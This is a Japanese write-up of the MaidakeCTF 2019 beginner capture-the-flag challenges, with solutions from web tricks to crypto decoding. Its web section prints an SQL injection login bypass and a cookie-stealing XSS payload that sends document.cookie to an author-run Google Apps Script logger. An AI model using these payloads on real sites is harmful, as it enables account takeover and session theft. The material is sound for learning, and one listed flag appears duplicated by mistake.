MaidakeCTF WriteUp
概要
Cyber研究会合宿2019に向けて行われたMaidakeCTFのWriteUpです。
Web
White Flag
真っ白なページが表示されます。
Ctrl + Aでページ内の文字を全選択するとフラグが現れます。
Ctrl + Cでコピーします。(右クリック禁止、F12禁止なので)
MaidakeCTF{White_strings_can_be_seen_by_reversing}
2048
自分は素直にゲームをやってフラグをゲットしましたが、ゲームをやらなくてもソースコードからフラグが確認できました(後でわかった)
MaidakeCTF{Do_not_be_fooled_the_look}
Baked goods
ページにアクセスするとクッキーのイラストが出てきます。これはブラウザのcookieを見ろということでしょうか。ブラウザのcookieを見てみるとフラグがありました。
MaidakeCTF{Beware_of_cookie_theft}
Not hiding
ページ自体には何も書かれていないようなのでソースコードを見てみます。CSSが外部のファイルで指定してあるようです。このCSSのコードにアクセスするとフラグがありました。
MaidakeCTF{I_am_getting_tired_of_thinking_about_flags}
Usual
とりあえず適当なIDとパスワードを入力してみます。当たり前ですがはじかれます。
次にSQLインジェクションができるかどうか試してみます。
' or 1=1 ; --
パスワードが入っていないとログインが押せない(フロントエンドでバリデーションしていある)ので適当にパスワードを打ち込み、ログインボタンを押します。
フラグが表示されました。
MaidakeCTF{Speaking_of_SQL_injection_is_this}
XSS Alert
XSSであれば何でもよいということなので定番のアラートでやりました。
<script>alert("XSS")</script>
フラグゲットです。
MaidakeCTF{Escape_is_a_simple_but_important_process}
Agent
AgentがMilvasであれば良さそうなのでFireFoxの開発者ツールからAgentをMilvasに変更して再送信します。
User-Agent:Milvas
応答のところを見るとフラグが表示されました
MaidakeCTF{Impersonating_user_agents_is_so_easy}
No form
パラメーターのoluriにso_cuteが入っていたらフラグが表示されるようです。自分はcurlでPOSTしました。
$curl -k -X POST -d 'oluri=so_cute' https://maidakectf2019.aokakes.work/problems/No_form/
フラグが表示されました。
MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}
Maze
ソースコードを見てみるとこの辺りで矢印キーを押したときの処理をしているようです。どうやら変数xと変数yで座標の管理をしているようです。
開発者ツールのコンソールを開いて変数xと変数yがどんな値になっているか調べてみます。
alert(x);
alert(y);
これを書き換えればゴールできそうです。今回はxの値を30に変更してみます。
x=30;
矢印キーを押してゴールまでたどり着けばフラグが表示されます。
MaidakeCTF{If_you_implement_it_poorly_another_file_may_be_screwed_in}
Hijack
ページの表示からは特に情報が得られないためソースコードを見てみます。
ソースコードの一番上に何やらコメントアウトされた文字列がありました。
問題のタイトルから察するにこれがセッションIDなのだと思われます。開発者ツールを開いてPHPSESSIDをこれに書き換えてリロードします。
フラグが表示されました。
MaidakeCTF{Session_manegement_must_be_done_with_care}
Haiku contest
とりあえず、適当にIDを作ってログインしてみます。
ログインすると俳句の投稿フォームが表示されました。
このフォームにどんな脆弱性があるのか調べます。まずXSSから調べていきたいと思います。
<script>alert("XSS")</script>
アラートが表示されたのでこのフォームにはXSSの脆弱性があることが分かりました。
おそらく採点ボタンを押したときにサーバー側のcookieを盗むというものだと考えられます。
まず、外部からアクセスできるサーバーを準備します。今回はGoogle Apps Scriptを使います。
Google Apps Scriptのプログラムを書きます。
function doGet(e) { var html = ''; html += e.parameter.a + '</p>'; console.log(e); var id = "スプレッドシートのID"; var spreadSheet = SpreadsheetApp.openById(id); var sheetName = "シート名"; spreadSheet.getSheetByName(sheetName).appendRow( [new Date(), e]); return HtmlService.createHtmlOutput(html); }
パラメータaに入力するとそれがスプレッドシートに出力されるようになっています。 このプログラムをウェブアプリとしてアクセスできるようにしておきます。 次にXSSで挿入するコードを作成します。
<script>location.href="https://script.google.com/macros/s/xxxxxxxxxxxx/exec?a="+document.cookie</script>
※URLは一部マスクしてあります。
これで準備完了です。あとはフォームにXSSすればスプレッドシートにフラグが表示されます。
ただし、なぜかGoogle Apps Scriptでやるとうまくフラグがかえって来ない時が多いのでお勧めしません。
MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}
QR
A littele missing QR
QRコードの切り出しシンボルが取れているので、これをペイントで補填してあげてから読み取るだけです。
MaidakeCTF{restoring_qr_code_corners_is_easy}
white or black
0と1が書かれたCSVファイルが渡されます。
0の部分がQRコードの白い部分、1の部分がQRコードの黒い部分と対応しているので、このファイルをExcelで開いて条件付き書式で色を付けていき、セルが正方形になるように大きさを調節します。
これを読み取るとフラグが表示されます。
MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}
Three codes
このサイトでグレースケール2色にして変換して読み込んでみると「Second:Images_can_be_」という文字列が現れました。これはタイトルからもわかる通りRGBごとにQRコードがあるものだと推測できます。
ということでこの画像をうさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ステガノグラフィー解析から「赤のみ抽出」「緑のみ抽出」「青のみ抽出」しそれぞれ読み込みそれらをつなげるとフラグが表示されます。
MaidakeCTF{Images_can_be_represented_in_RGB}
QR Puzzle , QR Puzzle 2nd , QR Puzzle 3rd
3問とも同じ解き方です。CSSのbackground:url()に画像のパスが入っているので画像に直リンして保存します。あとはGIMPでひたすらジグソーパズルをやるだけです。パズルをやるときのポイントとしては先に切り出しシンボル、タイミングパターン、余白からわかる端の部分を並べておくことです。
QR Puzzle
MaidakeCTF{QR_code_slide_puzzles_are_very_very_difficult}
QR Puzzle 2nd
MaidakeCTF{It_becomes_more_difficult_when_it_comes_to_16_slide_puzzles}
QR Puzzle 3rd
MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
Misc
Welcome
表示されたフラグを入力するだけです
Hex
フラグが16進数で書かれているのでそれを文字にデコードするだけです。
以下のコードはPythonです
with open("flag") as f: s = f.read() ans = bytes.fromhex(s).decode("utf-8") print(ans)
MaidakeCTF{Hexadecimal_numbers_are_frequently_used_in_this_industry}
String line
ページにアクセスするとバーコードが表示されるためこれを読み取ればフラグが表示されます。
MaidakeCTF{We_can_use_alphanumeric_symbols_in_code128}
Turtle speed
ソースコードを見ると右から左に流れてくるのはモールス信号だとわかります。モールス信号を欧文と記号で復元すればフラグが手に入ります。以下コードはPythonです。
flag = "ーー ・ー ・・ ー・・ ・ー ー・ー ・ ー・ー・ ー ・・ー・ ー・ーー・ ・ーー・ ・ ーーー ・ーー・ ・ー・・ ・ ・・ーー・ー ・ーー ・・・・ ーーー ・・ーー・ー ー・ー・ ・ー ー・ ・・ーー・ー ・・ー ー・ ー・・ ・ ・ー・ ・・・ ー ・ー ー・ ー・・ ・・ーー・ー ーー ーーー ・ー・ ・・・ ・ ・・ーー・ー ー・ー・ ーーー ー・・ ・ ・・ーー・ー ・ーーー ・・ー ・・・ ー ・・ーー・ー ー・・・ ー・ーー ・・ーー・ー ・・・ ーーー ・・ー ー・ ー・・ ・・ーー・ー ・ー ・ー・ ・ ・・ーー・ー ・ー ーー ・ー ーー・・ ・・ ー・ ーー・ ー・ーー・ー" flag_split = flag.split() dic = {"・ー": "a","ー・・・": "b","ー・ー・": "c","ー・・": "d","・": "e","・・ー・": "f","ーー・": "g","・・・・": "h","・・": "i","・ーーー": "j","ー・ー": "k","・ー・・": "l","ーー": "m","ー・": "n","ーーー": "o","・ーー・": "p","ーー・ー": "q","・ー・" :"r","・・・": "s","ー": "t","・・ー": "u","・・・-": "v","・ーー": "w","ー・・ー": "x","ー・ーー": "y","ーー・・": "z","・ー・ー・ー": ".","・ーーーー・": "'","ー・ーー・": "(","ー・ーー・ー": ")","・・ーー・ー":"_"} ans = [] for i in flag_split: ans.append(dic[i]) print(''.join(ans))
MaidakeCTF(people_who_can_understand_morse_code_just_by_sound_are_amazing)
Condensed Image
gifアニメーションでフラグが表示されていますが、アニメーションが速すぎて読めません。GIMPにインポートするとコマの一枚一枚が確認できます。
MaidakeCTF{gif_has_more_than_one_picture_concatenated}
Let't Janken
プログラムを見ると1000連勝すればフラグがゲットできるようです。また連勝数はブラウザのcookieに書き込まれているようなので、開発者ツールからcookieを1000以上の値に書き換えて「グー」「チョキ」「パー」のいずれかを押すとフラグが表示されます。
MaidakeCTF{button_mashing_is_not_the_right_solution}
Teleport
どうやらlatitude : 32.7526235、longitude : 129.8495163のところに行けばフラグが表示されるようです。Google Mapで調べると稲佐山展望台です。
まぁ実際行こうと思えば行ける場所ではありますが面倒なのでスマホのアプリで偽の位置情報を送信します。今回はfakeGPSというアプリを使いました。
フラグが表示されました。
MaidakeCTF{Falsifying_coordinates_is_surprisingly_easy}
問題文にもあったように夜景がめちゃきれいです。
Forensics
Unzip
zipファイルをダウンロードして、問題のタイトルにもなっているUnzipコマンドで展開するとパスワードが聞かれます。
分からないのでそのままエンターキーを押すと展開されたフォルダに"UGFzc3dvcmQgaXMgWXFna0dQdkJET0dnWiVxdEZMOFZlUEpmQkdmTTNSQ2djUDVVRiFjVlJCeG9zT0pPZXJV"という名前のファイルができます。
fileコマンドで調べてみると空ファイルのようです。
このファイル名をbase64でデコードするとPassword is YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU という文字列が出てきました。
YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU をunzipの時のパスワードに入力するとflagフォルダの中にflag.txtが現れ、この中にフラグがありました。
MaidakeCTF{We_can_tell_what_files_are_included_without_unpacking}
Meta
JPEGファイルのようです。問題タイトルからメタデータに何かかかれているのでしょう。今回はstringsコマンドで調べてみます。
$strings problem.jpg | grep MaidakeCTF
フラグが出てきました。
MaidakeCTF{The_sound_of_the_waterfall_heals_my_mind}
Magic
PDFファイルのようです。GoogleChromeでは開けませんが、なぜかUbuntuのデフォルトのビュアーでは普通に開けます。このPDFファイルにフラグが書かれていました。
MaidakeCTF{Forging_a_magic_number_is_easy}
Stupid picture
真っ白なPNGファイルが渡されます。GIMPで開いて色レベルの変更をしてみます。明度、赤、緑、青すべての入力レベルを上げることでフラグが出現します。
MaidakeCTF{It_is_stupid_to_write_a_strings_in_white_on_a_white_background}
Another Image
PNG画像が渡されます。うさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ファイル・データ抽出で内包ファイル・データ検索をしてみるとフラグが書かれたJPEGファイルが出現します。
MaidakeCTF{Marigold_is_cute}
Crypto
Is this cipher
flag.txt
TWFpZGFrZUNURntiYXNlNjRfaXNfbm90X2FfY2lwaGVyfQ==
使われている文字の種類や最後にイコールがあることからBase64であることが分かります。これをデコードしたらフラグが出てきました。
MaidakeCTF{base64_is_not_a_cipher}
Easy crypto
flag.txt
ZnvqnxrPGS{Pnrfne_rapelcgvba_vf_rnfl_gb_penpx}
パッと見フラグ形式と同じように見えます。これはシーザー暗号だと思われるので暗号生成ツール『暗号くん』で解読してみます。まずはROT13で有名な13文字ずらしからやってみます。
出てきた文字列の大文字小文字を修正すればフラグとなります。
MaidakeCTF{Caesar_encryption_is_easy_to_crack}
Old Input
flag.txt
6↑2444325533222↑8↑333↑{444↑66788→8_2224427772→222833777→7777_666→66_333→3328→8877733_744666→66337777_4447777_87776668822555337777666→633}
どうやらトグル入力でフラグが書かれているようです。これを解読すれば良さそうです。今回はPythonで解読してみました。
with open("flag.txt") as f: flag = f.read() temp = list(flag) temp2 = [] a = ["a","b","c"] d = ["d","e","f"] g = ["g","h","i"] j = ["j","k","l"] m = ["m","n","o"] p = ["p","q","r","s"] t = ["t","u","v"] w = ["w","x","y","z"] count = 0 for i in range(len(flag)): if flag[i] == "}": temp2.append("}") break if flag[i] != flag[i+1]: if flag[i] == "2": temp2.append(a[count]) elif flag[i] == "3": temp2.append(d[count]) elif flag[i] == "4": temp2.append(g[count]) elif flag[i] == "5": temp2.append(j[count]) elif flag[i] == "6": temp2.append(m[count]) elif flag[i] == "7": temp2.append(p[count]) elif flag[i] == "8": temp2.append(t[count]) elif flag[i] == "9": temp2.append(w[count]) elif flag[i] == "↑" or flag[i]== "→": continue elif flag[i] == "{": temp2.append("{") elif flag[i] == "_": temp2.append("_") count = 0 else: count += 1 print("".join(temp2))
途中から「もうこれ、素直にスマホにトグル入力したほうが早いんじゃないか」と思いながらもなんとかPythonを書き上げました。
上記を実行してflag.txtの上矢印のところを大文字に変更すればフラグになります。
MaidakeCTF{Input_characters_on_feature_phones_is_troublesome}
Kancolle hash
problem .py
#coding: utf-8 kancolle_server = ['横須賀鎮守府','呉鎮守府','佐世保鎮守府','舞鶴鎮守府','大湊警備府','トラック泊地','リンガ泊地','ラバウル基地','ショートランド泊地','ブイン基地','タウイタウイ泊地','パラオ泊地','ブルネイ泊地','単冠湾泊地','幌筵泊地','宿毛湾泊地','鹿屋基地','岩川基地','佐伯湾泊地','柱島泊地'] md5_server = [hashlib.md5(server.encode()).hexdigest() for server in kancolle_server] key = 0 for md5 in md5_server: for moji in md5: key += ord(moji) enc_flag = '' for moji in FLAG: to_ord = key // ord(moji) enc_flag += chr(to_ord) with open('result.txt', 'w') as f: f.write(enc_flag)
とりあえず、Keyの値がいくつになるのか調べてみます。enc_flag = ''の前にprint(key)とすると44321と表示されました。ということでこの逆のプログラムを書けば良さそうです。以下Pythonです。
with open('result.txt') as f: result =list(f.read()) key = 44321 temp = [] for i in result: temp.append(ord(i)) flag = [] for i in temp: flag.append(int( key // i)) ans = '' for i in flag: ans += chr(i) print(ans)
MaidakeCTF{I_love_kancolle_and_I_will_die_when_its_gone}
SHA-1 collision
問題文からSHA-1のハッシュ衝突の問題だとわかります。「SHA-1 ハッシュ衝突」とググってみると以下のサイトが見つかります。
このサイトから二種類のPDFファイルをダウンロードして、問題のページにアップロードすればフラグが表示されます。
MaidakeCTF{It_is_a_little_hard_to_create_a_file_where_SHA-1_collides}
Network
Weak communication
pcapngをダウンロードしてWiresharkで開きます。
明らかに怪しそうなパケットがあるのでこれを調べてみるとフラグがありました。
MaidakeCTF{Wireshark_is_very_useful}
See-through Auth
pcapngをダウンロードしてWiresharkで開きます。
さっきの問題よりもパケットが多くて見づらいのでhttpでフィルターをかけてみます。
一回目のアクセスでは401 Unauthorizedが返ってきてるのでもしかして/problems/http/See-through_Authには何かしらの認証がかかってるのではないかと予想できます。
二つ目のGETパケットを見てみます。
Full request URIに書かれているページにアクセスすると、予想通りBasic認証がかかっていました。
ここでもう一度パケットを見てみます。Authorizationの部分を見てみると
Credentials: oluri:xYwQp2ZCqBfMs2uBd7XhL5ccjgJT2FhrqWFPux6x
とあります。Basic認証の場合、ユーザ名:パスワードの形になるので、先ほどのページにユーザ名oluri、パスワードxYwQp2ZCqBfMs2uBd7XhL5ccjgJT2FhrqWFPux6xでログインしてみます。
するとフラグが現れました。
MaidakeCTF{Basic_authentication_is_easy_to_implement_but_there_are_various_problems}
From oluri
pcapngをダウンロードしてWiresharkで開きます。
httpでフィルターをかけます。どうやらオオルリからのメッセージはwaveファイルのようです。
このパケットを選択して ファイル > オブジェクトをエクスポート > HTTP を選択します。そうするとパケットからwaveファイルが抽出できます。
このwaveファイルを再生するとオオルリがフラグをしゃべります。
MaidakeCTF{Wireshark_can_export_files_exchanged_during_communication}
Image?
問題の画像をうさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ステガノグラフィー解析で赤色ビットのみ抽出してバイナリで表示してみます。
そうするとパケットが出現します。このバイナリを保存してWiresharkで開いてみます。
このパケットを見てみます。
どうやら http://ctf.server-boujin.net/flag.php にアクセスしています。ここにブラウザでアクセスするとInvalid User-Agentと表示されます。
もう一度パケットを見てみるとcurlでアクセスした形跡があります。
curlからアクセスしてみます。
今度はInvalid Costum Parameter of Headerと表示されました。
もう一度パケットを確認してみます。
するとX-My-Will: I_want_th3_f1ag_!\r\nというパラメータが見つかりました。
ということでcurlでこのパラメータをPOSTしてみます。
$curl -H 'X-My-Will:I_want_th3_f1ag_!' http://ctf.server-boujin.net/flag.php
フラグが表示されました。
MaidakeCTF{Can_U_Und3rstand_th3_Image_of_Binari3s_?}
Prigramming
Only reserved words
Perlのソースコードをダウンロードして、実行するだけでフラグが表示されました。
MaidakeCTF{ppencode_consists_only_of_perl_reserved_words}
Calculator
nc maidakectf2019.aokakes.work 15410
でサーバにアクセスすると50問の計算問題が表示されます。これを解け切ればフラグが表示されるようです。手動で計算・入力するのは面倒なのでPythonを書きます。
import socket import re s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('maidakectf2019.aokakes.work',15410)) data = s.recv(256) for i in range(50): data = s.recv(256) formula = re.sub(r"[a-z\\\\''>>]","",str(data)).split(' ') print(formula) if formula[1] == "+": ans =int(formula[0]) + int(formula[2]) elif formula[1] == "-": ans = int(formula[0]) - int(formula[2]) elif formula[1] == "*": ans = int(formula[0]) * int(formula[2]) elif formula[1] == "/": ans = int(formula[0]) / int(formula[2]) print(str(ans)) s.send(str(ans).encode()) data = s.recv(256) print(data)
これを実行するとフラグが表示されます。
何気にソケット通信するプログラムは初めて書いた...
MaidakeCTF{It_is_also_possible_to_calculate_it_by_yourself}
Calculator 2nd
Calculatorのプログラムを改造します。今回の場合は問題が何問あるかわからないのでwhile(True)で無限ループさせてフラグが表示されたらbreakさせています。
また問題文の最初に「答えは整数で」と書かれているので割り算を切り捨て除算に変更します。
import socket import re s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('maidakectf2019.aokakes.work',17270)) data = s.recv(256) while(True): data = str(s.recv(256)) if data.find('MaidakeCTF') != -1: break formula = re.sub(r"[a-z\\\\''>>]","",str(data)).split(' ') print(formula) if formula[1] == "+": ans =int(formula[0]) + int(formula[2]) elif formula[1] == "-": ans = int(formula[0]) - int(formula[2]) elif formula[1] == "*": ans = int(formula[0]) * int(formula[2]) elif formula[1] == "/": ans = int(formula[0]) // int(formula[2]) print(str(ans)) s.send(str(ans).encode()) print(data)
これを実行するとフラグが出てきます。
MaidakeCTF{The_machine_gives_accurate_answers_even_if_the_calculation_is_complicated}
Reversing
String
ダウンロードしてきたファイルにstringsをしてみます。
$strings flag | grep MaidakeCTF
フラグが出てきました。
MaidakeCTF{It_is_a_promise_to_execute_strings}
Watchword
問題ファイルをstringsしてみます。
どうやら「Please enter watchword.」のところで合言葉を訊かれて、「Milvas」と入力すれば良さそうです。
$ ./problem Please enter watchword. >> Milvas Correct!! MaidakeCTF{We_have_to_devise_various_things_when_you_confirm_the_password}
フラグが出てきました。
感想
最終結果は全体で18位、Cyber研究会内で2位でした。同期に負けてしまったのは悔しかったですが楽しく問題を解くことができたのでよかったです。